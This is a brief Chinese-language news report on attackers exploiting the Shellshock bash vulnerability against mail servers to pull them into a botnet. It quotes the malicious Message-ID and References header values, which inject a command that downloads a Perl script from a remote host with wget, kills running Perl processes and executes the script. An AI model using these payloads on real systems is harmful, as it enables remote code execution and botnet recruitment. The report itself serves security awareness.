攻击者利用Shellshock漏洞入侵邮件服务器，通过发送特殊构造的消息头字段，诱骗服务器执行恶意Perl脚本，进而将其纳入僵尸网络。此过程揭示了针对Unix/Linux系统的潜在威胁。
攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。Shellshock漏洞是指攻击者向使用bash的Unix/Linux服务器发送精心构造的请求，诱骗bash远程执行命令。安全研究人员报告，攻击者向邮件服务器发送特定的消息头字段，诱骗服务器执行一个 Perl脚本，成为僵尸网络的一部分。邮件消息头的构成是：
Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend
References:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend
扫一扫
1860
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
